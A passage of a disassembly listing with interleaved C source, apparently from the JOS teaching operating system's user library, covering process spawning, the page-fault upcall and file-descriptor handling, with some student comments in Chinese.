801492: 83 c4 10 add $0x10,%esp
for (i = 0; i < memsz; i += PGSIZE) {
801495: 81 c3 00 10 00 00 add $0x1000,%ebx
80149b: 89 de mov %ebx,%esi
80149d: 39 9d 8c fd ff ff cmp %ebx,-0x274(%ebp)
8014a3: 76 73 jbe 801518 <spawn+0x38a>
if (i >= filesz) {
8014a5: 39 9d 94 fd ff ff cmp %ebx,-0x26c(%ebp)
8014ab: 0f 87 38 ff ff ff ja 8013e9 <spawn+0x25b>
if ((r = sys_page_alloc(child, (void*) (va + i), perm)) < 0)
8014b1: 83 ec 04 sub $0x4,%esp
8014b4: 57 push %edi
8014b5: 03 b5 88 fd ff ff add -0x278(%ebp),%esi
8014bb: 56 push %esi
8014bc: ff b5 84 fd ff ff pushl -0x27c(%ebp)
8014c2: e8 1a f8 ff ff call 800ce1 <sys_page_alloc>
8014c7: 83 c4 10 add $0x10,%esp
8014ca: 85 c0 test %eax,%eax
8014cc: 79 c7 jns 801495 <spawn+0x307>
8014ce: 89 c7 mov %eax,%edi
sys_env_destroy(child);
8014d0: 83 ec 0c sub $0xc,%esp
8014d3: ff b5 74 fd ff ff pushl -0x28c(%ebp)
8014d9: e8 84 f7 ff ff call 800c62 <sys_env_destroy>
close(fd);
8014de: 83 c4 04 add $0x4,%esp
8014e1: ff b5 90 fd ff ff pushl -0x270(%ebp)
8014e7: e8 87 04 00 00 call 801973 <close>
return r;
8014ec: 83 c4 10 add $0x10,%esp
8014ef: 89 bd 90 fd ff ff mov %edi,-0x270(%ebp)
}
8014f5: 8b 85 90 fd ff ff mov -0x270(%ebp),%eax
8014fb: 8d 65 f4 lea -0xc(%ebp),%esp
8014fe: 5b pop %ebx
8014ff: 5e pop %esi
801500: 5f pop %edi
801501: 5d pop %ebp
801502: c3 ret
panic("spawn: sys_page_map data: %e", r);
801503: 50 push %eax
801504: 68 15 2d 80 00 push $0x802d15
801509: 68 25 01 00 00 push $0x125
80150e: 68 09 2d 80 00 push $0x802d09
801513: e8 d6 ec ff ff call 8001ee <_panic>
for (i = 0; i < elf->e_phnum; i++, ph++) {
801518: 83 85 7c fd ff ff 01 addl $0x1,-0x284(%ebp)
80151f: 83 85 78 fd ff ff 20 addl $0x20,-0x288(%ebp)
801526: 0f b7 85 14 fe ff ff movzwl -0x1ec(%ebp),%eax
80152d: 3b 85 7c fd ff ff cmp -0x284(%ebp),%eax
801533: 7e 71 jle 8015a6 <spawn+0x418>
if (ph->p_type != ELF_PROG_LOAD)
801535: 8b 8d 78 fd ff ff mov -0x288(%ebp),%ecx
80153b: 83 39 01 cmpl $0x1,(%ecx)
80153e: 75 d8 jne 801518 <spawn+0x38a>
if (ph->p_flags & ELF_PROG_FLAG_WRITE)
801540: 8b 41 18 mov 0x18(%ecx),%eax
801543: 83 e0 02 and $0x2,%eax
perm |= PTE_W;
801546: 83 f8 01 cmp $0x1,%eax
801549: 19 ff sbb %edi,%edi
80154b: 83 e7 fe and $0xfffffffe,%edi
80154e: 83 c7 07 add $0x7,%edi
if ((r = map_segment(child, ph->p_va, ph->p_memsz,
801551: 8b 59 04 mov 0x4(%ecx),%ebx
801554: 89 9d 80 fd ff ff mov %ebx,-0x280(%ebp)
80155a: 8b 71 10 mov 0x10(%ecx),%esi
80155d: 89 b5 94 fd ff ff mov %esi,-0x26c(%ebp)
801563: 8b 41 14 mov 0x14(%ecx),%eax
801566: 89 85 8c fd ff ff mov %eax,-0x274(%ebp)
80156c: 8b 51 08 mov 0x8(%ecx),%edx
80156f: 89 95 88 fd ff ff mov %edx,-0x278(%ebp)
if ((i = PGOFF(va))) {
801575: 89 d0 mov %edx,%eax
801577: 25 ff 0f 00 00 and $0xfff,%eax
80157c: 74 1e je 80159c <spawn+0x40e>
va -= i;
80157e: 29 c2 sub %eax,%edx
801580: 89 95 88 fd ff ff mov %edx,-0x278(%ebp)
memsz += i;
801586: 01 85 8c fd ff ff add %eax,-0x274(%ebp)
filesz += i;
80158c: 01 c6 add %eax,%esi
80158e: 89 b5 94 fd ff ff mov %esi,-0x26c(%ebp)
fileoffset -= i;
801594: 29 c3 sub %eax,%ebx
801596: 89 9d 80 fd ff ff mov %ebx,-0x280(%ebp)
for (i = 0; i < memsz; i += PGSIZE) {
80159c: bb 00 00 00 00 mov $0x0,%ebx
8015a1: e9 f5 fe ff ff jmp 80149b <spawn+0x30d>
close(fd);
8015a6: 83 ec 0c sub $0xc,%esp
8015a9: ff b5 90 fd ff ff pushl -0x270(%ebp)
8015af: e8 bf 03 00 00 call 801973 <close>
child_tf.tf_eflags |= FL_IOPL_3; // devious: see user/faultio.c
8015b4: 81 8d dc fd ff ff 00 orl $0x3000,-0x224(%ebp)
8015bb: 30 00 00
if ((r = sys_env_set_trapframe(child, &child_tf)) < 0)
8015be: 83 c4 08 add $0x8,%esp
8015c1: 8d 85 a4 fd ff ff lea -0x25c(%ebp),%eax
8015c7: 50 push %eax
8015c8: ff b5 74 fd ff ff pushl -0x28c(%ebp)
8015ce: e8 17 f8 ff ff call 800dea <sys_env_set_trapframe>
8015d3: 83 c4 10 add $0x10,%esp
8015d6: 85 c0 test %eax,%eax
8015d8: 78 28 js 801602 <spawn+0x474>
if ((r = sys_env_set_status(child, ENV_RUNNABLE)) < 0)
8015da: 83 ec 08 sub $0x8,%esp
8015dd: 6a 02 push $0x2
8015df: ff b5 74 fd ff ff pushl -0x28c(%ebp)
8015e5: e8 be f7 ff ff call 800da8 <sys_env_set_status>
8015ea: 83 c4 10 add $0x10,%esp
8015ed: 85 c0 test %eax,%eax
8015ef: 78 26 js 801617 <spawn+0x489>
return child;
8015f1: 8b 85 74 fd ff ff mov -0x28c(%ebp),%eax
8015f7: 89 85 90 fd ff ff mov %eax,-0x270(%ebp)
8015fd: e9 f3 fe ff ff jmp 8014f5 <spawn+0x367>
panic("sys_env_set_trapframe: %e", r);
801602: 50 push %eax
801603: 68 32 2d 80 00 push $0x802d32
801608: 68 86 00 00 00 push $0x86
80160d: 68 09 2d 80 00 push $0x802d09
801612: e8 d7 eb ff ff call 8001ee <_panic>
panic("sys_env_set_status: %e", r);
801617: 50 push %eax
801618: 68 ad 2c 80 00 push $0x802cad
80161d: 68 89 00 00 00 push $0x89
801622: 68 09 2d 80 00 push $0x802d09
801627: e8 c2 eb ff ff call 8001ee <_panic>
return r;
80162c: 8b 85 74 fd ff ff mov -0x28c(%ebp),%eax
801632: 89 85 90 fd ff ff mov %eax,-0x270(%ebp)
801638: e9 b8 fe ff ff jmp 8014f5 <spawn+0x367>
return -E_NO_MEM;
80163d: b8 fc ff ff ff mov $0xfffffffc,%eax
return r;
801642: 89 85 90 fd ff ff mov %eax,-0x270(%ebp)
801648: e9 a8 fe ff ff jmp 8014f5 <spawn+0x367>
80164d: 89 c7 mov %eax,%edi
80164f: e9 7c fe ff ff jmp 8014d0 <spawn+0x342>
801654: 89 c7 mov %eax,%edi
801656: e9 75 fe ff ff jmp 8014d0 <spawn+0x342>
80165b: 89 c7 mov %eax,%edi
80165d: e9 6e fe ff ff jmp 8014d0 <spawn+0x342>
sys_page_unmap(0, UTEMP);
801662: 83 ec 08 sub $0x8,%esp
801665: 68 00 00 40 00 push $0x400000
80166a: 6a 00 push $0x0
80166c: e8 f5 f6 ff ff call 800d66 <sys_page_unmap>
801671: 83 c4 10 add $0x10,%esp
801674: 89 9d 90 fd ff ff mov %ebx,-0x270(%ebp)
80167a: e9 76 fe ff ff jmp 8014f5 <spawn+0x367>
0080167f <spawnl>:
{
80167f: 55 push %ebp
801680: 89 e5 mov %esp,%ebp
801682: 57 push %edi
801683: 56 push %esi
801684: 53 push %ebx
801685: 83 ec 0c sub $0xc,%esp
va_start(vl, arg0);
801688: 8d 55 10 lea 0x10(%ebp),%edx
int argc=0;
80168b: b8 00 00 00 00 mov $0x0,%eax
while(va_arg(vl, void *) != NULL)
801690: eb 05 jmp 801697 <spawnl+0x18>
argc++;
801692: 83 c0 01 add $0x1,%eax
while(va_arg(vl, void *) != NULL)
801695: 89 ca mov %ecx,%edx
801697: 8d 4a 04 lea 0x4(%edx),%ecx
80169a: 83 3a 00 cmpl $0x0,(%edx)
80169d: 75 f3 jne 801692 <spawnl+0x13>
const char *argv[argc+2];
80169f: 8d 14 85 1a 00 00 00 lea 0x1a(,%eax,4),%edx
8016a6: 83 e2 f0 and $0xfffffff0,%edx
8016a9: 29 d4 sub %edx,%esp
8016ab: 8d 54 24 03 lea 0x3(%esp),%edx
8016af: c1 ea 02 shr $0x2,%edx
8016b2: 8d 34 95 00 00 00 00 lea 0x0(,%edx,4),%esi
8016b9: 89 f3 mov %esi,%ebx
argv[0] = arg0;
8016bb: 8b 4d 0c mov 0xc(%ebp),%ecx
8016be: 89 0c 95 00 00 00 00 mov %ecx,0x0(,%edx,4)
argv[argc+1] = NULL;
8016c5: c7 44 86 04 00 00 00 movl $0x0,0x4(%esi,%eax,4)
8016cc: 00
va_start(vl, arg0);
8016cd: 8d 4d 10 lea 0x10(%ebp),%ecx
8016d0: 89 c2 mov %eax,%edx
for(i=0;i<argc;i++)
8016d2: b8 00 00 00 00 mov $0x0,%eax
8016d7: eb 0b jmp 8016e4 <spawnl+0x65>
argv[i+1] = va_arg(vl, const char *);
8016d9: 83 c0 01 add $0x1,%eax
8016dc: 8b 39 mov (%ecx),%edi
8016de: 89 3c 83 mov %edi,(%ebx,%eax,4)
8016e1: 8d 49 04 lea 0x4(%ecx),%ecx
for(i=0;i<argc;i++)
8016e4: 39 d0 cmp %edx,%eax
8016e6: 75 f1 jne 8016d9 <spawnl+0x5a>
return spawn(prog, argv);
8016e8: 83 ec 08 sub $0x8,%esp
8016eb: 56 push %esi
8016ec: ff 75 08 pushl 0x8(%ebp)
8016ef: e8 9a fa ff ff call 80118e <spawn>
}
8016f4: 8d 65 f4 lea -0xc(%ebp),%esp
8016f7: 5b pop %ebx
8016f8: 5e pop %esi
8016f9: 5f pop %edi
8016fa: 5d pop %ebp
8016fb: c3 ret
008016fc <wait>:
#include <inc/lib.h>
// Waits until 'envid' exits.
void
wait(envid_t envid)
{
8016fc: 55 push %ebp
8016fd: 89 e5 mov %esp,%ebp
8016ff: 56 push %esi
801700: 53 push %ebx
801701: 8b 75 08 mov 0x8(%ebp),%esi
const volatile struct Env *e;
assert(envid != 0);
801704: 85 f6 test %esi,%esi
801706: 74 13 je 80171b <wait+0x1f>
e = &envs[ENVX(envid)];
801708: 89 f3 mov %esi,%ebx
80170a: 81 e3 ff 03 00 00 and $0x3ff,%ebx
while (e->env_id == envid && e->env_status != ENV_FREE)
801710: 6b db 7c imul $0x7c,%ebx,%ebx
801713: 81 c3 00 00 c0 ee add $0xeec00000,%ebx
801719: eb 1b jmp 801736 <wait+0x3a>
assert(envid != 0);
80171b: 68 72 2d 80 00 push $0x802d72
801720: 68 f4 2c 80 00 push $0x802cf4
801725: 6a 09 push $0x9
801727: 68 7d 2d 80 00 push $0x802d7d
80172c: e8 bd ea ff ff call 8001ee <_panic>
sys_yield();
801731: e8 8c f5 ff ff call 800cc2 <sys_yield>
while (e->env_id == envid && e->env_status != ENV_FREE)
801736: 8b 43 48 mov 0x48(%ebx),%eax
801739: 39 f0 cmp %esi,%eax
80173b: 75 07 jne 801744 <wait+0x48>
80173d: 8b 43 54 mov 0x54(%ebx),%eax
801740: 85 c0 test %eax,%eax
801742: 75 ed jne 801731 <wait+0x35>
}
801744: 8d 65 f8 lea -0x8(%ebp),%esp
801747: 5b pop %ebx
801748: 5e pop %esi
801749: 5d pop %ebp
80174a: c3 ret
0080174b <set_pgfault_handler>:
// at UXSTACKTOP), and tell the kernel to call the assembly-language
// _pgfault_upcall routine when a page fault occurs.
//
void
set_pgfault_handler(void (*handler)(struct UTrapframe *utf))
{
80174b: 55 push %ebp
80174c: 89 e5 mov %esp,%ebp
80174e: 83 ec 08 sub $0x8,%esp
int r;
if (_pgfault_handler == 0) {
801751: 83 3d 08 40 80 00 00 cmpl $0x0,0x804008
801758: 74 0a je 801764 <set_pgfault_handler+0x19>
}
sys_env_set_pgfault_upcall(0, _pgfault_upcall); //系统调用,设置进程的env_pgfault_upcall属性
}
// Save handler pointer for assembly to call.
_pgfault_handler = handler;
80175a: 8b 45 08 mov 0x8(%ebp),%eax
80175d: a3 08 40 80 00 mov %eax,0x804008
}
801762: c9 leave
801763: c3 ret
int r = sys_page_alloc(0, (void *)(UXSTACKTOP-PGSIZE), PTE_W | PTE_U | PTE_P); //为当前进程分配异常栈
801764: 83 ec 04 sub $0x4,%esp
801767: 6a 07 push $0x7
801769: 68 00 f0 bf ee push $0xeebff000
80176e: 6a 00 push $0x0
801770: e8 6c f5 ff ff call 800ce1 <sys_page_alloc>
if (r < 0) {
801775: 83 c4 10 add $0x10,%esp
801778: 85 c0 test %eax,%eax
80177a: 78 14 js 801790 <set_pgfault_handler+0x45>
sys_env_set_pgfault_upcall(0, _pgfault_upcall); //系统调用,设置进程的env_pgfault_upcall属性
80177c: 83 ec 08 sub $0x8,%esp
80177f: 68 a4 17 80 00 push $0x8017a4
801784: 6a 00 push $0x0
801786: e8 a1 f6 ff ff call 800e2c <sys_env_set_pgfault_upcall>
80178b: 83 c4 10 add $0x10,%esp
80178e: eb ca jmp 80175a <set_pgfault_handler+0xf>
panic("set_pgfault_handler:sys_page_alloc failed");;
801790: 83 ec 04 sub $0x4,%esp
801793: 68 88 2d 80 00 push $0x802d88
801798: 6a 22 push $0x22
80179a: 68 b2 2d 80 00 push $0x802db2
80179f: e8 4a ea ff ff call 8001ee <_panic>
008017a4 <_pgfault_upcall>:
.text
.globl _pgfault_upcall
_pgfault_upcall:
// Call the C page fault handler.
pushl %esp // function argument: pointer to UTF
8017a4: 54 push %esp
movl _pgfault_handler, %eax
8017a5: a1 08 40 80 00 mov 0x804008,%eax
call *%eax //调用页处理函数
8017aa: ff d0 call *%eax
addl $4, %esp // pop function argument
8017ac: 83 c4 04 add $0x4,%esp
// LAB 4: Your code here.
// Restore the trap-time registers. After you do this, you
// can no longer modify any general-purpose registers.
// LAB 4: Your code here.
addl $8, %esp //跳过utf_fault_va和utf_err
8017af: 83 c4 08 add $0x8,%esp
movl 40(%esp), %eax //保存中断发生时的esp到eax
8017b2: 8b 44 24 28 mov 0x28(%esp),%eax
movl 32(%esp), %ecx //保存终端发生时的eip到ecx
8017b6: 8b 4c 24 20 mov 0x20(%esp),%ecx
movl %ecx, -4(%eax) //将中断发生时的esp值亚入到到原来的栈中
8017ba: 89 48 fc mov %ecx,-0x4(%eax)
popal
8017bd: 61 popa
addl $4, %esp //跳过eip
8017be: 83 c4 04 add $0x4,%esp
// Restore eflags from the stack. After you do this, you can
// no longer use arithmetic operations or anything else that
// modifies eflags.
// LAB 4: Your code here.
popfl
8017c1: 9d popf
// Switch back to the adjusted trap-time stack.
// LAB 4: Your code here.
popl %esp
8017c2: 5c pop %esp
// Return to re-execute the instruction that faulted.
// LAB 4: Your code here.
lea -4(%esp), %esp //因为之前压入了eip的值但是没有减esp的值,所以现在需要将esp寄存器中的值减4
8017c3: 8d 64 24 fc lea -0x4(%esp),%esp
8017c7: c3 ret
008017c8 <fd2num>:
// File descriptor manipulators
// --------------------------------------------------------------
int
fd2num(struct Fd *fd)
{
8017c8: 55 push %ebp
8017c9: 89 e5 mov %esp,%ebp
return ((uintptr_t) fd - FDTABLE) / PGSIZE;
8017cb: 8b 45 08 mov 0x8(%ebp),%eax
8017ce: 05 00 00 00 30 add $0x30000000,%eax
8017d3: c1 e8 0c shr $0xc,%eax
}
8017d6: 5d pop %ebp
8017d7: c3 ret
008017d8 <fd2data>:
char*
fd2data(struct Fd *fd)
{
8017d8: 55 push %ebp
8017d9: 89 e5 mov %esp,%ebp
return ((uintptr_t) fd - FDTABLE) / PGSIZE;
8017db: 8b 45 08 mov 0x8(%ebp),%eax
8017de: 05 00 00 00 30 add $0x30000000,%eax
return INDEX2DATA(fd2num(fd));
8017e3: 25 00 f0 ff ff and $0xfffff000,%eax
8017e8: 2d 00 00 fe 2f sub $0x2ffe0000,%eax
}
8017ed: 5d pop %ebp
8017ee: c3 ret
008017ef <fd_alloc>:
// Returns 0 on success, < 0 on error. Errors are:
// -E_MAX_FD: no more file descriptors
// On error, *fd_store is set to 0.
int
fd_alloc(struct Fd **fd_store)
{
8017ef: 55 push %ebp
8017f0: 89 e5 mov %esp,%ebp
8017f2: 8b 4d 08 mov 0x8(%ebp),%ecx
8017f5: b8 00 00 00 d0 mov $0xd0000000,%eax
int i;
struct Fd *fd;
for (i = 0; i < MAXFD; i++) {
fd = INDEX2FD(i);
if ((uvpd[PDX(fd)] & PTE_P) == 0 || (uvpt[PGNUM(fd)] & PTE_P) == 0) {
8017fa: 89 c2 mov %eax,%edx
8017fc: c1 ea 16 shr $0x16,%edx
8017ff: 8b 14 95 00 d0 7b ef mov -0x10843000(,%edx,4),%edx
801806: f6 c2 01 test $0x1,%dl
801809: 74 2a je 801835 <fd_alloc+0x46>
80180b: 89 c2 mov %eax,%edx
80180d: c1 ea 0c shr $0xc,%edx
801810: 8b 14 95 00 00 40 ef mov -0x10c00000(,%edx,4),%edx
801817: f6 c2 01 test $0x1,%dl
80181a: 74 19 je 801835 <fd_alloc+0x46>
80181c: 05 00 10 00 00 add $0x1000,%eax
for (i = 0; i < MAXFD; i++) {
801821: 3d 00 00 02 d0 cmp $0xd0020000,%eax
801826: 75 d2 jne 8017fa <fd_alloc+0xb>
*fd_store = fd;
return 0;
}
}
*fd_store = 0;
801828: c7 01 00 00 00 00 movl $0x0,(%ecx)
return -E_MAX_OPEN;
80182e: b8 f6 ff ff ff mov $0xfffffff6,%eax
801833: eb 07 jmp 80183c <fd_alloc+0x4d>
*fd_store = fd;
801835: 89 01 mov %eax,(%ecx)
return 0;
801837: b8 00 00 00 00 mov $0x0,%eax
}
80183c: 5d pop %ebp
80183d: c3 ret
0080183e <fd_lookup>:
// Returns 0 on success (the page is in range and mapped), < 0 on error.
// Errors are:
// -E_INVAL: fdnum was either not in range or not mapped.
int
fd_lookup(int fdnum, struct Fd **fd_store)
{
80183e: 55 push %ebp
80183f: 89 e5 mov %esp,%ebp
801841: 8b 45 08 mov 0x8(%ebp),%eax
struct Fd *fd;
if (fdnum < 0 || fdnum >= MAXFD) {
801844: 83 f8 1f cmp $0x1f,%eax
801847: 77 36 ja 80187f <fd_lookup+0x41>
if (debug)
cprintf("[%08x] bad fd %d\n", thisenv->env_id, fdnum);
return -E_INVAL;
}
fd = INDEX2FD(fdnum);
801849: c1 e0 0c shl $0xc,%eax
80184c: 2d 00 00 00 30 sub $0x30000000,%eax
if (!(uvpd[PDX(fd)] & PTE_P) || !(uvpt[PGNUM(fd)] & PTE_P)) {
801851: 89 c2 mov %eax,%edx
801853: c1 ea 16 shr $0x16,%edx
801856: 8b 14 95 00 d0 7b ef mov -0x10843000(,%edx,4),%edx
80185d: f6 c2 01 test $0x1,%dl
801860: 74 24 je 801886 <fd_lookup+0x48>
801862: 89 c2 mov %eax,%edx
801864: c1 ea 0c shr $0xc,%edx
801867: 8b 14 95 00 00 40 ef mov -0x10c00000(,%edx,4),%edx
80186e: f6 c2 01 test $0x1,%dl
801871: 74 1a je 80188d <fd_lookup+0x4f>
if (debug)
cprintf("[%08x] closed fd %d\n", thisenv->env_id, fdnum);
return -E_INVAL;
}
*fd_store = fd;
801873: 8b 55 0c mov 0xc(%ebp),%edx
801876: 89 02 mov %eax,(%edx)
return 0;
801878: b8 00 00 00 00 mov $0x0,%eax
}
80187d: 5d pop %ebp
80187e: c3 ret
return -E_INVAL;
80187f: b8 fd ff ff ff mov $0xfffffffd,%eax
801884: eb f7 jmp 80187d <fd_lookup+0x3f>
return -E_INVAL;
801886: b8 fd ff ff ff mov $0xfffffffd,%eax
80188b: eb f0 jmp 80187d <fd_lookup+0x3f>
80188d: b8 fd ff ff ff mov $0xfffffffd,%eax
801892: eb e9 jmp 80187d <fd_lookup+0x3f>
00801894 <dev_lookup>:
0
};
int
dev_lookup(int dev_id, struct Dev **dev)
{
801894: 55 push %ebp
801895: 89 e5 mov %esp,%ebp
801897: 83 ec 08 sub $0x8,%esp
80189a: 8b 4d 08 mov 0x8(%ebp),%ecx
80189d: ba 40 2e 80 00 mov $0x802e40,%edx
int i;
for (i = 0; devtab[i]; i++)
8018a2: b8 0c 30 80 00 mov $0x80300c,%eax
if (devtab[i]->dev_id == dev_id) {
8018a7: 39 08 cmp %ecx,(%eax)
8018a9: 74 33 je 8018de <dev_lookup+0x4a>
8018ab: 83 c2 04 add $0x4,%edx
for (i = 0; devtab[i]; i++)
8018ae: 8b 02 mov (%edx),%eax
8018b0: 85 c0 test %eax,%eax
8018b2: 75 f3 jne 8018a7 <dev_lookup+0x13>
*dev = devtab[i];
return 0;
}
cprintf("[%08x] unknown device type %d\n", thisenv->env_id, dev_id);
8018b4: a1 04 40 80 00 mov 0x804004,%eax
8018b9: 8b 40 48 mov 0x48(%eax),%eax
8018bc: 83 ec 04 sub $0x4,%esp
8018bf: 51 push %ecx
8018c0: 50 push %eax
8018c1: 68 c0 2d 80 00 push $0x802dc0
8018c6: e8 fe e9 ff ff call 8002c9 <cprintf>
*dev = 0;
8018cb: 8b 45 0c mov 0xc(%ebp),%eax
8018ce: c7 00 00 00 00 00 movl $0x0,(%eax)
return -E_INVAL;
8018d4: 83 c4 10 add $0x10,%esp
8018d7: b8 fd ff ff ff mov $0xfffffffd,%eax
}
8018dc: c9 leave
8018dd: c3 ret
*dev = devtab[i];
8018de: 8b 4d 0c mov 0xc(%ebp),%ecx
8018e1: 89 01 mov %eax,(%ecx)
return 0;
8018e3: b8 00 00 00 00 mov $0x0,%eax
8018e8: eb f2 jmp 8018dc <dev_lookup+0x48>
008018ea <fd_close>:
{
8018ea: 55 push %ebp
8018eb: 89 e5 mov %esp,%ebp
8018ed: 57 push %edi
8018ee: 56 push %esi
8018ef: 53 push %ebx
8018f0: 83 ec 1c sub $0x1c,%esp
8018f3: 8b 75 08 mov 0x8(%ebp),%esi
8018f6: 8b 7d 0c mov 0xc(%ebp),%edi
if ((r = fd_lookup(fd2num(fd), &fd2)) < 0
8018f9: 8d 45 e4 lea -0x1c(%ebp),%eax
8018fc: 50 push %eax
return ((uintptr_t) fd - FDTABLE) / PGSIZE;
8018fd: 8d 86 00 00 00 30 lea 0x30000000(%esi),%eax
801903: c1 e8 0c shr $0xc,%eax
if ((r = fd_lookup(fd2num(fd), &fd2)) < 0
801906: 50 push %eax
801907: e8 32 ff ff ff call 80183e <fd_lookup>
80190c: 89 c3 mov %eax,%ebx
80190e: 83 c4 08 add $0x8,%esp
801911: 85 c0 test %eax,%eax
801913: 78 05 js 80191a <fd_close+0x30>
|| fd != fd2)
801915: 39 75 e4 cmp %esi,-0x1c(%ebp)
801918: 74 16 je 801930 <fd_close+0x46>
return (must_exist ? r : 0);
80191a: 89 f8 mov %edi,%eax
80191c: 84 c0 test %al,%al
80191e: b8 00 00 00 00 mov $0x0,%eax
801923: 0f 44 d8 cmove %eax,%ebx
}
801926: 89 d8 mov %ebx,%eax
801928: 8d 65 f4 lea -0xc(%ebp),%esp
80192b: 5b pop %ebx
80192c: 5e pop %esi
80192d: 5f pop %edi
80192e: 5d pop %ebp
80192f: c3 ret
if ((r = dev_lookup(fd->fd_dev_id, &dev)) >= 0) {
801930: 83 ec 08 sub $0x8,%esp
801933: 8d 45 e0 lea -0x20(%ebp),%eax
801936: 50 push %eax
801937: ff 36 pushl (%esi)
801939: e8 56 ff ff ff call 801894 <dev_lookup>
80193e: 89 c3 mov %eax,%ebx
801940: 83 c4 10 add $0x10,%esp
801943: 85 c0 test %eax,%eax
801945: 78 15 js 80195c <fd_close+0x72>
if (dev->dev_close)
801947: 8b 45 e0 mov -0x20(%ebp),%eax
80194a: 8b 40 10 mov 0x10(%eax),%eax
80194d: 85 c0 test %eax,%eax
80194f: 74 1b je 80196c <fd_close+0x82>
r = (*dev->dev_close)(fd);
801951: 83 ec 0c sub $0xc,%esp
801954: 56 push %esi
801955: ff d0 call *%eax
801957: 89 c3 mov %eax,%ebx
801959: 83 c4 10 add $0x10,%esp
(void) sys_page_unmap(0, fd);
80195c: 83 ec 08 sub $0x8,%esp
80195f: 56 push %esi
801960: 6a 00 push $0x0
801962: e8 ff f3 ff ff call 800d66 <sys_page_unmap>
return r;
801967: 83 c4 10 add $0x10,%esp
80196a: eb ba jmp 801926 <fd_close+0x3c>
r = 0;
80196c: bb 00 00 00 00 mov $0x0,%ebx
801971: eb e9 jmp 80195c <fd_close+0x72>
00801973 <close>:
int
close(int fdnum)
{
801973: 55 push %ebp
801974: 89 e5 mov %esp,%ebp
801976: 83 ec 18 sub $0x18,%esp
struct Fd *fd;
int r;
if ((r = fd_lookup(fdnum, &fd)) < 0)
801979: 8d 45 f4 lea -0xc(%ebp),%eax
80197c: 50 push %eax
80197d: ff 75 08 pushl 0x8(%ebp)
801980: e8 b9 fe ff ff call 80183e <fd_lookup>
801985: 83 c4 08 add $0x8,%esp
801988: 85 c0 test %eax,%eax
80198a: 78 10 js 80199c <close+0x29>
return r;
else
return fd_close(fd, 1);
80198c: 83 ec 08 sub $0x8,%esp
80198f: 6a 01 push $0x1
801991: ff 75 f4 pushl -0xc(%ebp)
801994: e8 51 ff ff ff call 8018ea <fd_close>
801999: 83 c4 10 add $0x10,%esp
}
80199c: c9 leave
80199d: c3 ret
0080199e <close_all>:
void
close_all(void)
{
80199e: 55 push %ebp
80199f: 89 e5 mov %esp,%ebp
8019a1: 53 push %ebx
8019a2: 83 ec 04 sub $0x4,%esp
int i;
for (i = 0; i < MAXFD; i++)
8019a5: bb 00 00 00 00 mov $0x0,%ebx
close(i);
8019aa: 83 ec 0c sub $0xc,%esp
8019ad: 53 push %ebx
8019ae: e8 c0 ff ff ff call 801973 <close>
for (i = 0; i < MAXFD; i++)
8019b3: 83 c3 01 add $0x1,%ebx
8019b6: 83 c4 10 add $0x10,%esp
8019b9: 83 fb 20 cmp $0x20,%ebx
8019bc: 75 ec jne 8019aa <close_all+0xc>
}
8019be: 8b 5d fc mov -0x4(%ebp),%ebx
8019c1: c9 leave
8019c2: c3 ret
008019c3 <dup>:
// file and the file offset of the other.
// Closes any previously open file descriptor at 'newfdnum'.
// This is implemented using virtual memory tricks (of course!).
int
dup(int oldfdnum, int newfdnum)
{
8019c3: 55 push %ebp
8019c4: 89 e5 mov %esp,%ebp
8019c6: 57 push %edi
8019c7: 56 push %esi
8019c8: 53 push %ebx
8019c9: 83 ec 1c sub $0x1c,%esp
int r;
char *ova, *nva;
pte_t pte;
struct Fd *oldfd, *newfd;
if ((r = fd_lookup(oldfdnum, &oldfd)) < 0)
8019cc: 8d 45 e4 lea -0x1c(%ebp),%eax
8019cf: 50 push %eax
8019d0: ff 75 08 pushl 0x8(%ebp)
8019d3: e8 66 fe ff ff call 80183e <fd_lookup>
8019d8: 89 c3 mov %eax,%ebx
8019da: 83 c4 08 add $0x8,%esp
8019dd: 85 c0 test %eax,%eax
8019df: 0f 88 81 00 00 00 js 801a66 <dup+0xa3>
return r;
close(newfdnum);
8019e5: 83 ec 0c sub $0xc,%esp
8019e8: ff 75 0c pushl 0xc(%ebp)
8019eb: e8 83 ff ff ff call 801973 <close>
newfd = INDEX2FD(newfdnum);
8019f0: 8b 75 0c mov 0xc(%ebp),%esi
8019f3: c1 e6 0c shl $0xc,%esi
8019f6: 81 ee 00 00 00 30 sub $0x30000000,%esi
ova = fd2data(oldfd);
8019fc: 83 c4 04 add $0x4,%esp
8019ff: ff 75 e4 pushl -0x1c(%ebp)
801a02: e8 d1 fd ff ff call 8017d8 <fd2data>
801a07: 89 c3 mov %eax,%ebx
nva = fd2data(newfd);
801a09: 89 34 24 mov %esi,(%esp)
801a0c: e8 c7 fd ff ff call 8017d8 <fd2data>
801a11: 83 c4 10 add $0x10,%esp
801a14: 89 c7 mov %eax,%edi
if ((uvpd[PDX(ova)] & PTE_P) && (uvpt[PGNUM(ova)] & PTE_P))
801a16: 89 d8 mov %ebx,%eax
801a18: c1 e8 16 shr $0x16,%eax
801a1b: 8b 04 85 00 d0 7b ef mov -0x10843000(,%eax,4),%eax
801a22: a8 01 test $0x1,%al
801a24: 74 11 je 801a37 <dup+0x74>
801a26: 89 d8 mov %ebx,%eax
801a28: c1 e8 0c shr $0xc,%eax
801a2b: 8b 14 85 00 00 40 ef mov -0x10c00000(,%eax,4),%edx
801a32: f6 c2 01 test $0x1,%dl
801a35: 75 39 jne 801a70 <dup+0xad>
if ((r = sys_page_map(0, ova, 0, nva, uvpt[PGNUM(ova)] & PTE_SYSCALL)) < 0)
goto err;
if ((r = sys_page_map(0, oldfd, 0, newfd, uvpt[PGNUM(oldfd)] & PTE_SYSCALL)) < 0)
801a37: 8b 55 e4 mov -0x1c(%ebp),%edx
801a3a: 89 d0 mov %edx,%eax
801a3c: c1 e8 0c shr $0xc,%eax
801a3f: 8b 04 85 00 00 40 ef mov -0x10c00000(,%eax,4),%eax
801a46: 83 ec 0c sub $0xc,%esp
801a49: 25 07 0e 00 00 and $0xe07,%eax
801a4e: 50 push %eax
801a4f: 56 push %esi
801a50: 6a 00 push $0x0
801a52: 52 push %edx
801a53: 6a 00 push $0x0
801a55: e8 ca f2 ff ff call 800d24 <sys_page_map>
801a5a: 89 c3 mov %eax,%ebx
801a5c: 83 c4 20 add $0x20,%esp
801a5f: 85 c0 test %eax,%eax
801a61: 78 31 js 801a94 <dup+0xd1>
goto err;
return newfdnum;
801a63: 8b 5d 0c mov 0xc(%ebp),%ebx
err:
sys_page_unmap(0, newfd);
sys_page_unmap(0, nva);
return r;
}
801a66: 89 d8 mov %ebx,%eax
801a68: 8d 65 f4 lea -0xc(%ebp),%esp
801a6b: 5b pop %ebx
801a6c: 5e pop %esi
